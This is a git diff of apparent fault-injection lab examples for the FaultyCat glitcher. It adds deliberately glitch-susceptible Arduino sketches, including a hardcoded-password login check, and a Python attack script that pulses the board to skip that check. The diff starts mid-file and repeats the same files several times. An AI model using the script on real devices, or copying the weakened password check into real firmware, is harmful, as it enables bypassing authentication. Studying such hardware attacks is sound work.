+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
